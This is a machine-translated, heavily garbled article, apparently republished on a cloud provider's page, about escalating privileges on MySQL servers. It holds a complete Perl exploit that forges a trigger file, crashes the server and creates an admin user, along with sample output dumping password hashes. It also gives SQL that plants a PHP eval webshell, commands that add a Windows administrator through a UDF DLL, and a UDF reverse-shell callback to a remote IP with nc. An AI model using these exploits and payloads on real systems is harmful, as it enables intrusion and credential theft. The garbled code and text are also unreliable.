Mysql database Privilege Escalation common security issues

Source: Internet
Author: User

There are many security questions about mysql database Elevation of Privilege, such as remote Elevation of Privilege, root user Elevation of Privilege, and usage of UDF security issues. Let's take a look at these questions.

I. Usage of UDF security issues

For example, execute an SQL statement to view the content of the/etc/passwd file:

 

 

 

The load_file () function is used here. Of course, this function can be disabled. You can easily see the information and IP address of the/etc/passwd file. Of course, the content of other files can be seen.

Because the load_file () Function can only implement the File Viewing Function similar to the system command cat, but to execute the system command Function, you can only use the UDF, that is, the User-defined Function.

View the plugin of mysql. The plugin_dir path is/usr/lib/mysql/plugin.

 

 

If the path of plugin_dir is empty like I have encountered this database server, it doesn't matter.

 

 

Execute the following SQL statement to export the hexadecimal File Content in udf.txt to/usr/lib/mysqludf. so.

 

 

View the functions supported by this udf library.

 

 

Create a function and check whether it is successfully created. You can see that a UDF named sys_eval is successfully created.

 

 

Finally, use UDF to execute functions with higher Permissions

 

 

The rest is to use this UDF to obtain system permissions, prompting that you can use nc to bounce back, execute nc-vv-l-p 12345 on your host, and execute SQL statements on the database.

 

 

 

Then, the linux shell will be displayed. However, the usage of udfs also has limitations. You need to have operation permissions for the mysql database. You must have func tables in the mysql database. When skipgranttables is enabled, udfs will be disabled.

PS: mysqludf.sois an existing database file, which generates udf.txt with the help of the statement. Execute the following SQL statement.

The Code is as follows: Copy code

Mysql> select hex (load_file ('/usr/lib/mysqludf. so') into outfile'/tmp/udf.txt ';
Query OK, 1 row affected (0.04 sec)

Ii. Summary of root Privilege Elevation

The vulnerability was released on Seclist in December 1. The author tested successfully On Debian Lenny (mysql-5.0.51a) and OpenSuSE 11.4 (5.1.53-log), and added a MySQL Administrator account after successful code execution.

The Code is as follows: Copy code
Use DBI ();
 
$ | = 1;
 
= For comment
 
MySQL privilege elevation Exploit
This exploit adds a new admin user.
By Kingdom
 
Tested on www.2cto.com
* Debian Lenny (mysql-5.0.51a)
* OpenSuSE 11.4 (5.1.53-log)
 
How it works:
This exploit makes use of several things:
* The attacker is in possession of a mysql user with 'file' privileges for the target
* So the attacker can create files on the system with this user (owned by user 'mysql ')
* So the attacker is able to create TRIGGER files for a mysql table
Triggers can be used to trigger an event when a mysql command is executed by the user,
Normally triggers are 'attached' to a user and will be executed with this users privilege.
Because we can write any contents into the TRG file (the actual trigger file), we write the entry
Describing the attached user for the trigger as "root @ localhost" what is the default admin user.
* We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized.
This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn)
The trigger file wocould not be recognized.
 
So what the exploit does is:
* Connect to the MySQL Server
* Create a table named rootme for the trigger
* Create the trigger file in/var/lib/mysql/<databasename>/rootme. TRG
* Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun)
* INSERT a value into the table so the trigger event gets executed
* The trigger now sets all privileges of the current connecting user in the mysql. user table to enabled.
* Crash the MySQL Server again to force it reload the user configuration
* Create a new mysql user with all privileges set to enabled
* Crash again to reload configuration
* Connect by using the newly created user
* The new connection has ADMIN access now to all databases in mysql
* The user and password hashes in the mysql. user table are dumped for a convinient way to show the exploit succeeded
* As said the user has full access to the database now
 
Respawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I 've seen.
= Cut
 
= For comment
 
User created for testing (file privs will minor privileges to only one database ):
 
Mysql> create user 'less '@' % 'identified by 'test ';
Query OK, 0 rows affected (0.00 sec)
 
Mysql> create database lessdb
->;
Query OK, 1 row affected (0.00 sec)
 
Mysql> grant all privileges on lessdb. * TO 'less '@' % 'with grant option;
Query OK, 0 rows affected (0.02 sec)
 
Mysql> grant file on *. * TO 'less '@' % 'with grant option;
Query OK, 0 rows affected (0.00 sec)
 
Login with new unprivileged user:
Mysql> select * from mysql. user;
ERROR 1142 (42000): SELECT command denied to user 'ss2' @ 'localhost' for table 'user'
 
= Cut
 
= For comment
 
Example attack output:
 
C: UserskingcopeDesktop> perl mysql_privilege_elevation.pl
Select 'Type = triggers' into outfile'/var/lib/mysql/lessdb3/rootme. trg' LINES TER
Minated by 'ntriggers = 'create DEFINER = 'root' @ 'localhost' trigger atk after ins
Ert on rootme for each row \ nbegin \ nUPDATE mysql. user SET Select_priv = \ 'y \
', Insert_priv = \ 'y \', Update_priv = \ 'y \ ', Delete_priv = \ 'y \', Create_p
Riv = \ 'y \ ', Drop_priv = \ 'y \', Reload_priv = \ 'y \ ', Shutdown_priv = \ 'y \
', Process_priv = \ 'y \', File_priv = \ 'y \ ', Grant_priv = \ 'y \', Reference
S_priv = \ 'y \ ', Index_priv = \ 'y \', Alter_priv = \ 'y \ ', Show_db_priv = \ 'y
\ ', Super_priv = \ 'y \', Create_tmp_table_priv = \ 'y \ ', Lock_tables_priv = \
'Y \ ', Execute_priv = \ 'y \', Repl_slave_priv = \ 'y \ ', Repl_client_priv = \
'Y \ ', Create_view_priv = \ 'y \', Show_view_priv = \ 'y \ ', Create_routine_pri
V = \ 'y \ ', Alter_routine_priv = \ 'y \', Create_user_priv = \ 'y \ ', ssl_type =
\ 'Y \ ', ssl_cipher = \ 'y \', x509_issuer = \ 'y \ ', x509_subject = \ 'y \',
Max_questions = \ 'y \ ', max_updates = \ 'y \', max_connections = \ 'y \ 'WHERE
User = \ 'less3 \ '; \ nend 'nsql _ modes = 0 ndefiners = 'root @ localhost' nclient _ cs
_ Names = 'latin1' nconnection _ cl_names = 'latin1 _ swedish_ci 'ndb _ cl_names = 'lati
N1_swedish_ci 'n'; DBD: mysql: db do failed: Unknown table 'rootme' at mysql_pri
Vilege_elevation.pl line 44.
DBD: mysql: db do failed: Lost connection to MySQL server during query at mysql _
Privilege_elevation.pl line 50.
DBD: mysql: db do failed: Lost connection to MySQL server during query at mysql _
Privilege_elevation.pl line 59.
W00TW00T!
Found a row: id = root, name = * 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Found a row: id = root, name = * 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Found a row: id = root, name = * 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
Found a row: id = debian-sys-maint, name = * C5524C128621D8A050B6DD616B06862F9D64
B02C
Found a row: id = some1, name = * 94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = monty, name = * bf06a06d69ec935e85659fcded1f6a80108abd3b
Found a row: id = less, name = * 94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = r00ted, name = * EAD0219784E951FEE4B82C2670C9A06D35FD5697
Found a row: id = user, name = * 14E65567ABDB5135D0CFD9A70B3032C179A49EE7
Found a row: id = less2, name = * 94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = less3, name = * 94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
Found a row: id = rootedsql, name = * 4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC
 
= Cut
 
$ User = "less10 ";
$ Password = "test ";
$ Database = "lessdb10 ";
$ Target = "192.168.2.4 ";
$ Folder = "/var/lib/mysql/"; # Linux
$ Newuser = "rootedbox2 ";
$ Newuserpass = "rootedbox2 ";
$ Mysql_version = "51"; # can be 51 or 50
 
If ($ mysql_version eq "50 "){
$ Inject =
"Select 'Type = triggers' into outfile '". $ folder. $ database. "/rootme. TRG 'Lines terminated by '\ ntriggers = \ 'create DEFINER = 'root' @ 'localhost' trigger atk after insert on rootme for each row \ nbegin \ nUPDATE mysql. user SET Select_priv =\\\ 'y \\\ ', Insert_priv =\\\ 'y \\\', Update_priv =\\\ 'y \\\', delete_priv =\\\ 'y \\\ ', Create_priv =\\\ 'y \\\', Drop_priv =\\ 'y \\\', reload_priv =\\\ 'y \\\ ', Shutdown_priv =\\\ 'y \\\', Process_priv =\\\ 'y \\\', file_priv =\\\ 'y \\\ ', Grant_priv =\\\ 'y \\\', References_priv =\\\ 'y \\\', index_priv =\\\ 'y \\\ ', Alter_priv =\\\ 'y \\\', Show_db_priv =\\\ 'y \\\', super_priv =\\\ 'y \\\ ', Create_tmp_table_priv =\\\ 'y \\\', Lock_tables_priv =\\ 'y \\\', execute_priv =\\\ 'y \\\ ', Repl_slave_priv =\\\ 'y \\\', Repl_client_priv =\\\ 'y \\\', create_view_priv =\\\ 'y \\\ ', Show_view_priv =\\\ 'y \\\', Create_routine_priv =\\\ 'y \\\', alter_routine_priv =\\\ 'y \\\ ', Create_user_priv =\\\ 'y \\\', ssl_type =\\\ 'y \\\', ssl_cipher =\\\ 'y \\\ ', x509_issuer =\\\ 'y \\\', x509_subject =\\\ 'y \\\', max_questions =\\\ 'y \\\ ', max_updates =\\\ 'y \\\', max_connections =\\\ 'y \\\ 'where User =\\\ '$ user \\\'; \ nend \ '\ nsql_modes = 0 \ ndefiners = \ 'root @ localhost \' \ hosts = \ 'latin1 \ '\ nconnection_cl_names = \ 'latin1 _ swedish_ci \' \ ndb_cl_names = \ 'latin1 _ swedish_ci \ '\ n '; ";
} Else {
$ Inject =
"Select 'Type = triggers' into outfile '". $ folder. $ database. "/rootme. TRG 'Lines terminated by '\ ntriggers = \ 'create DEFINER = 'root' @ 'localhost' trigger atk after insert on rootme for each row \ nbegin \ nUPDATE mysql. user SET Select_priv =\\\ 'y \\\ ', Insert_priv =\\\ 'y \\\', Update_priv =\\\ 'y \\\', delete_priv =\\\ 'y \\\ ', Create_priv =\\\ 'y \\\', Drop_priv =\\ 'y \\\', reload_priv =\\\ 'y \\\ ', Shutdown_priv =\\\ 'y \\\', Process_priv =\\\ 'y \\\', file_priv =\\\ 'y \\\ ', Grant_priv =\\\ 'y \\\', References_priv =\\\ 'y \\\', index_priv =\\\ 'y \\\ ', Alter_priv =\\\ 'y \\\', Show_db_priv =\\\ 'y \\\', super_priv =\\\ 'y \\\ ', Create_tmp_table_priv =\\\ 'y \\\', Lock_tables_priv =\\ 'y \\\', execute_priv =\\\ 'y \\\ ', Repl_slave_priv =\\\ 'y \\\', Repl_client_priv =\\\ 'y \\\', create_view_priv =\\\ 'y \\\ ', Show_view_priv =\\\ 'y \\\', Create_routine_priv =\\\ 'y \\\', alter_routine_priv =\\\ 'y \\\ ', Create_user_priv =\\\ 'y \\\', Event_priv =\\ 'y \\\', trigger_priv =\\\ 'y \\\ ', ssl_type =\\\ 'y \\\', ssl_cipher =\\\ 'y \\\', x509_issuer =\\\ 'y \\\ ', x509_subject =\\\ 'y \\\', max_questions =\\ 'y \\\', max_updates =\\\ 'y \\\ ', max_connections =\\\ 'y \\\ 'where User =\\\' $ user \\\'; \ nend \ '\ nsql_modes = 0 \ ndefiners = \ 'root @ localhost \' \ hosts = \ 'latin1 \ '\ nconnection_cl_names = \ 'latin1 _ swedish_ci \' \ ndb_cl_names = \ 'latin1 _ swedish_ci \ '\ n '; ";
}
 
Print $ inject; # exit;
$ Inject2 =
"SELECT 'Type = TRIGGERNAME \ ntrigger_table = rootme; 'into outfile'". $ folder. $ database. "/atk. trn' fields escaped ''";
 
My $ dbh = DBI-> connect ("DBI: mysql: database = $ database; host = $ target ;",
"$ User", "$ password ",
{'Raiseerror' => 0 });
Eval {$ dbh-> do ("drop table rootme ")};
$ Dbh-> do ("create table rootme (rootme VARCHAR (256 ));");
$ Dbh-> do ($ inject );
$ Dbh-> do ($ inject2 );
 
$ A = "A" x 10000;
$ Dbh-> do ("grant all on $ a. * to 'user' @ '% 'identified by 'secret ';");
 
Sleep (3 );
 
My $ dbh = DBI-> connect ("DBI: mysql: database = $ database; host = $ target ;",
"$ User", "$ password ",
{'Raiseerror' => 0 });
 
$ Dbh-> do ("insert into rootme VALUES ('rooted ');");
$ Dbh-> do ("grant all on $ a. * to 'user' @ '% 'identified by 'secret ';");
 
Sleep (3 );
 
My $ dbh = DBI-> connect ("DBI: mysql: database = $ database; host = $ target ;",
"$ User", "$ password ",
{'Raiseerror' => 0 });
 
$ Dbh-> do ("CREATE user' $ newuser' @ '% 'identified BY' $ newuserpass ';");
$ Dbh-> do ("grant all privileges on *. * TO '$ newuser' @' % 'with grant option ;");
$ Dbh-> do ("grant all on $ a. * to 'user' @ '% 'identified by 'secret ';");
 
Sleep (3 );
 
My $ dbh = DBI-> connect ("DBI: mysql: host = $ target ;",
$ Newuser, $ newuserpass,
{'Raiseerror' => 0 });
 
My $ something = $ dbh-> prepare ("SELECT * FROM mysql. user ");
$ Something-> execute ();
 
Print "W00TW00T! N ";
 
While (my $ ref = $ something-> fetchrow_hashref ()){
Print "Found a row: id = $ ref-> {'user'}, name = $ ref-> {'Password'} n ";
}
$ Something-> finish ();

Iii. Remote database Elevation of Privilege Vulnerability

Because of Version 5.1 and later, it is stipulated that the path for loading the custom dll must be under plugin, but this folder does not exist by default.
 
#1 phpmyadmin obtain WebShell in the background
Http: // url/phpmyadmin/libraries/select_lang.lib.php get the physical path
Bytes --------------------------------------------------------------------------------------
Create database tempdb;
Use tempdb
Create TABLE tb_temp (cmd text not null );
Insert INTO tb_temp (cmd) VALUES ('<? Php eval ($ _ POST [c]);?> ');
Select cmd from tb_temp into outfile 'd: \ webdir \ eval. php ';
Drop table if exists tb_temp;
Drop database tempdb;
Bytes -------------------------------------------------------------------------------------
 
#2 obtain the root password of the Mysql database and test the udf. dll Privilege Escalation function.
First, upload a udf. dll. php file and enter relevant parameters. Then export udf. dll to C: windowsudf. dll.
Run the following command:
Bytes -----------------------------------------------------------------------------------
Create function example shell returns string soname 'udf. dll'
Select external shell ('net user admin $123456/add ');
Select multiple shell ('net localgroup administrators admin $/add ');
Drop function using shell;
Bytes ------------------------------------------------------------------------------------
However, in this process, the udf. dll is often killed .....
 
#3 usually, the final attempt to use the Func bounce to obtain the mongoshell
However, it always fails because the path extracted by Mix. dll is the WebShell path by default.
In general, Mysql does not allow loading function libraries from any directory.
1. Use the Mysql link function of Webshell to log on to the root user.
2. Run create function Mixconnect returns string soname 'd: \ webdir \ Mix. dll ';
3. Execute select Mixconnect ('IP _ addr ', '123 ');
If it succeeds, you can use nc-vv-l-p 9999 locally to return the CmdSell with the System permission.
However, an Error "No paths allowed for shared library" will be reported in the second step"
This shows that Mysql does not allow loading function libraries from any directory. The solution is also very simple. You can use Mysql
Copy Mix. dll in the Webshell path to C: \ Windows \ Mix. dll
The implementation method is as follows:
Bytes ---------------------------------------------------------------------------------------
Create table temp_mix (abc longblob );
Insert into temp_mix values (load_file ('d: \ webdir \ Mix. dll '));
Select * from temp_mix into dumpfile 'C: \ Windows \ Mix. dll ';
Create function Mixconnect returns string soname 'Mix. dll ';
Select Mixconnect ('IP _ addr ', '123 ');
Drop table if exists temp_mix;
Bytes ------------------------------------------------------------------------------------------
 
PS: if Can't connect to MySQL server on 'localhost' (10061) is found, mysql may be suspended or suspended,
If Mysql goes down, the Administrator will soon find the amount... so use it with caution.

In short, no matter how secure we are, we must promptly update the latest version of the system or software and upgrade bugs to ensure security, while regularly or in real time backing up database data.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.